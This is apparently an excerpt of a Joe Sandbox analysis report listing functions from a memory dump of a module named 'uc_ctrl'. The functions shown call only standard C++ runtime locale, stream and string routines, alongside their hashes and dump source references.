                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF02F17
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6CF02F4B
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9BEB: __EH_prolog3.LIBCMT ref: 6CEF9BF2
                                                                                                • Part of subcall function 6CEF9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAA0,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9BFD
                                                                                                • Part of subcall function 6CEF9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9C15
                                                                                                • Part of subcall function 6CEF9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9C79
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF02F60
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,00000001,00000002,?,?,?), ref: 6CF02F9E
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6CF0300A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3926143654-0
                                                                                              • Opcode ID: bc774f7f42913e224658ba589a06e8b650e7658559da2e8f0271b91b66a005c1
                                                                                              • Instruction ID: 7a23b8001e281e8ae5a18617cae355c5b33cdf2abc0047724e3b3f2149edb4fd
                                                                                              • Opcode Fuzzy Hash: bc774f7f42913e224658ba589a06e8b650e7658559da2e8f0271b91b66a005c1
                                                                                              • Instruction Fuzzy Hash: 36318D30F01109DFCB05CFA4C9A4AEEBBB9BF48748F24405DE405A7741DB349A49DBA1
                                                                                              Function 6CF08C20 Relevance: 7.6, APIs: 5, Instructions: 75COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF08C27
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,00000030), ref: 6CF08C5A
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEAFBD: __EH_prolog3.LIBCMT ref: 6CEEAFC4
                                                                                                • Part of subcall function 6CEEAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE7FBA,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEAFCF
                                                                                                • Part of subcall function 6CEEAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEAFE7
                                                                                                • Part of subcall function 6CEEAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB04B
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF08C6F
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,?,?,00000000), ref: 6CF08CA8
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,00000030), ref: 6CF08D11
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 4202057792-0
                                                                                              • Opcode ID: a5ba59a496f51dfbc9079de0b966546729cac3c2d5493604b87f0c3416bc84b9
                                                                                              • Instruction ID: f6230b4e0c1410ba8d4b4a8bf6388ce9969468db50390d9ad4cb9b338112b374
                                                                                              • Opcode Fuzzy Hash: a5ba59a496f51dfbc9079de0b966546729cac3c2d5493604b87f0c3416bc84b9
                                                                                              • Instruction Fuzzy Hash: D2215E71F01148DFCB05CFA8C8A0AEEBBB9AF08718F24415EE406A7741DB349E45DB65
                                                                                              Function 6CF08E10 Relevance: 7.6, APIs: 5, Instructions: 75COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF08E17
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,00000030), ref: 6CF08E4A
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEAFBD: __EH_prolog3.LIBCMT ref: 6CEEAFC4
                                                                                                • Part of subcall function 6CEEAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE7FBA,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEAFCF
                                                                                                • Part of subcall function 6CEEAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEAFE7
                                                                                                • Part of subcall function 6CEEAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB04B
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF08E5F
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,?,?,00000000), ref: 6CF08E98
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,00000030), ref: 6CF08F04
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 4202057792-0
                                                                                              • Opcode ID: 137c2b19cda811aeea8e7308436c3c437b9f3840ec70132eaa18e77330287fa2
                                                                                              • Instruction ID: 05987d3d676d636abcd11a6d602f63508ffe99a92027c50755d91164dc9f8bb5
                                                                                              • Opcode Fuzzy Hash: 137c2b19cda811aeea8e7308436c3c437b9f3840ec70132eaa18e77330287fa2
                                                                                              • Instruction Fuzzy Hash: BF216D70B01148DFCB05CFE4C4A09EEBBB9AF08708F24406EE446AB742DB349A45DB65
                                                                                              Function 6CEDED80 Relevance: 7.6, APIs: 5, Instructions: 73COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6CEDED9E
                                                                                              • ___lc_collate_cp_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6CEDEDAA
                                                                                              • memcpy.VCRUNTIME140(?,?,?), ref: 6CEDEDD8
                                                                                              • __crtLCMapStringA.MSVCP140(?,00000400,?,?,00000000,00000000,?,00000001), ref: 6CEDEDF5
                                                                                                • Part of subcall function 6CEE0E50: __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6CEE0E6E
                                                                                                • Part of subcall function 6CEE0E50: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?), ref: 6CEE0E9A
                                                                                                • Part of subcall function 6CEE0E50: __alloca_probe_16.LIBCMT ref: 6CEE0ED2
                                                                                                • Part of subcall function 6CEE0E50: MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?), ref: 6CEE0F2F
                                                                                                • Part of subcall function 6CEE0E50: __crtLCMapStringEx.MSVCP140(?,?,00000000,?,00000000,00000000), ref: 6CEE0F49
                                                                                                • Part of subcall function 6CEE0E50: __crtLCMapStringEx.MSVCP140(?,00000400,00000000,00000400,?,?), ref: 6CEE0F85
                                                                                              • __crtLCMapStringA.MSVCP140(?,00000400,?,?,?,?,?,00000001), ref: 6CEDEE1D
                                                                                                • Part of subcall function 6CEE0E50: _malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CEE0EF3
                                                                                                • Part of subcall function 6CEE0E50: __alloca_probe_16.LIBCMT ref: 6CEE0FB9
                                                                                                • Part of subcall function 6CEE0E50: __crtLCMapStringEx.MSVCP140(?,00000400,?,00000400,00000000,00000000), ref: 6CEE0FFF
                                                                                                • Part of subcall function 6CEE0E50: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6CEE101A
                                                                                                • Part of subcall function 6CEE0E50: _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6CEE1032
                                                                                                • Part of subcall function 6CEE0E50: _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEE1071
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: String__crt$ByteCharMultiWide$__alloca_probe_16_free_base$___lc_collate_cp_func___lc_locale_name_func__strncnt_malloc_basememcpy
                                                                                              • String ID:
                                                                                              • API String ID: 1943972359-0
                                                                                              • Opcode ID: c6e48de8df5d6c43c216040f41a5b049d4c1f8d926914ea387eb7437bcb421ad
                                                                                              • Instruction ID: 85415bef43e9c14edf9ca9fa0301476972a305bbf17169ca146864e826f000cf
                                                                                              • Opcode Fuzzy Hash: c6e48de8df5d6c43c216040f41a5b049d4c1f8d926914ea387eb7437bcb421ad
                                                                                              • Instruction Fuzzy Hash: B421D131A00604BFDF148FA9CD49B9EBBB9EF09718F210119FA08A7340EB71A9118BD0
                                                                                              Function 6CF01FF0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF01FF7
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,00000001,00000014), ref: 6CF0202C
                                                                                              • ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,00000001,00000014), ref: 6CF02058
                                                                                              • ?snextc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,00000001,00000014), ref: 6CF02085
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000014), ref: 6CF020B1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_W@std@@@std@@$?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_?snextc@?$basic_streambuf@_?sputc@?$basic_streambuf@_G@std@@@std@@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@
                                                                                              • String ID:
                                                                                              • API String ID: 2573136042-0
                                                                                              • Opcode ID: bc3657d99c355a7d45e7ba07342e57dce55223534fda2f172979dffa75dd0117
                                                                                              • Instruction ID: a18cd35dd1e391e08127ce1bbbe8874bae2f1fd0f921cbdd16a62909f8c3b56a
                                                                                              • Opcode Fuzzy Hash: bc3657d99c355a7d45e7ba07342e57dce55223534fda2f172979dffa75dd0117
                                                                                              • Instruction Fuzzy Hash: 9F21B031B113458FCB10DF68C4A0BAAB7F0AF04719F50846DD48A9BB91CB79EE49DB60
                                                                                              Function 6CEE8EE0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEE8EE7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6CEE8F0A
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                              • ?_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6CEE8F28
                                                                                                • Part of subcall function 6CEEA400: __EH_prolog3_GS.LIBCMT ref: 6CEEA407
                                                                                              • _Stoullx.MSVCP140(?,?,00000000), ref: 6CEE8F39
                                                                                                • Part of subcall function 6CEDE7E0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6CEDE805
                                                                                                • Part of subcall function 6CEDE7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000010), ref: 6CEDE8A6
                                                                                                • Part of subcall function 6CEDE7E0: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6CEDE8B8
                                                                                                • Part of subcall function 6CEDE7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010,?,?,?,00000000), ref: 6CEDE90A
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEE8F4C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@tolower$?getloc@ios_base@std@@D@std@@@2@1D@std@@@std@@@std@@Getifld@?$num_get@StoullxVlocale@2@Vlocale@2@@isspacememchrstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 563252122-0
                                                                                              • Opcode ID: 2981b02d737dd7492dfb47c718de18fa60594ed733bfe2395eaaccb67280ce83
                                                                                              • Instruction ID: 8862d3f0c70b61a10bff4020246b86e75feadf108c820f41380e7e4b007efba9
                                                                                              • Opcode Fuzzy Hash: 2981b02d737dd7492dfb47c718de18fa60594ed733bfe2395eaaccb67280ce83
                                                                                              • Instruction Fuzzy Hash: 5E21387191020CEFCB15DF94D991AEEB7B9BF08358F25415AF815A7350EB30AA09CBA0
                                                                                              Function 6CF07FF0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF07FF7
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
                                                                                              • ?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,00000001,00000014), ref: 6CF0802C
                                                                                              • ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?,?,00000001,00000014), ref: 6CF0804F
                                                                                              • ?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,?,00000001,00000014), ref: 6CF08074
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000014), ref: 6CF080A0
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@?sputc@?$basic_streambuf@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@_W@std@@@std@@
                                                                                              • String ID:
                                                                                              • API String ID: 2274809079-0
                                                                                              • Opcode ID: 5d6607c81e1001a3e3980558c969a725c9217c1db09d3c9c301199d7c14397b4
                                                                                              • Instruction ID: 1204cd6d27e3dc82986efe1cf39365d817fd1415afb7447a2acfb7039478de49
                                                                                              • Opcode Fuzzy Hash: 5d6607c81e1001a3e3980558c969a725c9217c1db09d3c9c301199d7c14397b4
                                                                                              • Instruction Fuzzy Hash: E8219F35B10244CFCB10DF68C5A0AAEBBF0BF04728F24855EE0A69BA91C775EA45DB50
                                                                                              Function 6CEF0FE0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF0FE7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6CEF100A
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                              • ?_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6CEF1028
                                                                                                • Part of subcall function 6CEF5CD0: __EH_prolog3_GS.LIBCMT ref: 6CEF5CDA
                                                                                              • _Stollx.MSVCP140(?,?,00000000), ref: 6CEF1039
                                                                                                • Part of subcall function 6CEDE400: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEDE424
                                                                                                • Part of subcall function 6CEDE400: _Stoullx.MSVCP140(?,?,?,?), ref: 6CEDE448
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEF104C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@G@std@@@2@1G@std@@@std@@@std@@Getifld@?$num_get@StollxStoullxVlocale@2@Vlocale@2@@isspacestd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 4200348380-0
                                                                                              • Opcode ID: b6fff8668839fbb479fd0032ffdc936ac32ab2c1fcd34e520b50c090cd27cd59
                                                                                              • Instruction ID: bc8231d15e09d1c3522669500ace81a1261dc600fdd580461a34b205a27379e5
                                                                                              • Opcode Fuzzy Hash: b6fff8668839fbb479fd0032ffdc936ac32ab2c1fcd34e520b50c090cd27cd59
                                                                                              • Instruction Fuzzy Hash: 92210C75901208EFCB05DF94D994AEEB7B8BF08318F65415AF815A7350EB70DA05DBA0
                                                                                              Function 6CEE8FA0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEE8FA7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6CEE8FCA
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                              • ?_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6CEE8FE8
                                                                                                • Part of subcall function 6CEEA400: __EH_prolog3_GS.LIBCMT ref: 6CEEA407
                                                                                              • _Stollx.MSVCP140(?,?,00000000), ref: 6CEE8FF9
                                                                                                • Part of subcall function 6CEDE400: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEDE424
                                                                                                • Part of subcall function 6CEDE400: _Stoullx.MSVCP140(?,?,?,?), ref: 6CEDE448
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEE900C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@D@std@@@2@1D@std@@@std@@@std@@Getifld@?$num_get@StollxStoullxVlocale@2@Vlocale@2@@isspacestd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2254190012-0
                                                                                              • Opcode ID: b3470cc35500aab0ed0cceba5b21b9cc2a7de872000d56673a6ce9863713d8f3
                                                                                              • Instruction ID: 396c6f13ddf836438158730e41f163beaaf89ccff0f752bf001f36131f2abf00
                                                                                              • Opcode Fuzzy Hash: b3470cc35500aab0ed0cceba5b21b9cc2a7de872000d56673a6ce9863713d8f3
                                                                                              • Instruction Fuzzy Hash: B7213A71900208EFCB05DF94D990AEEB7F8BF08358F65415AF815A7340EB30AA05CBA0
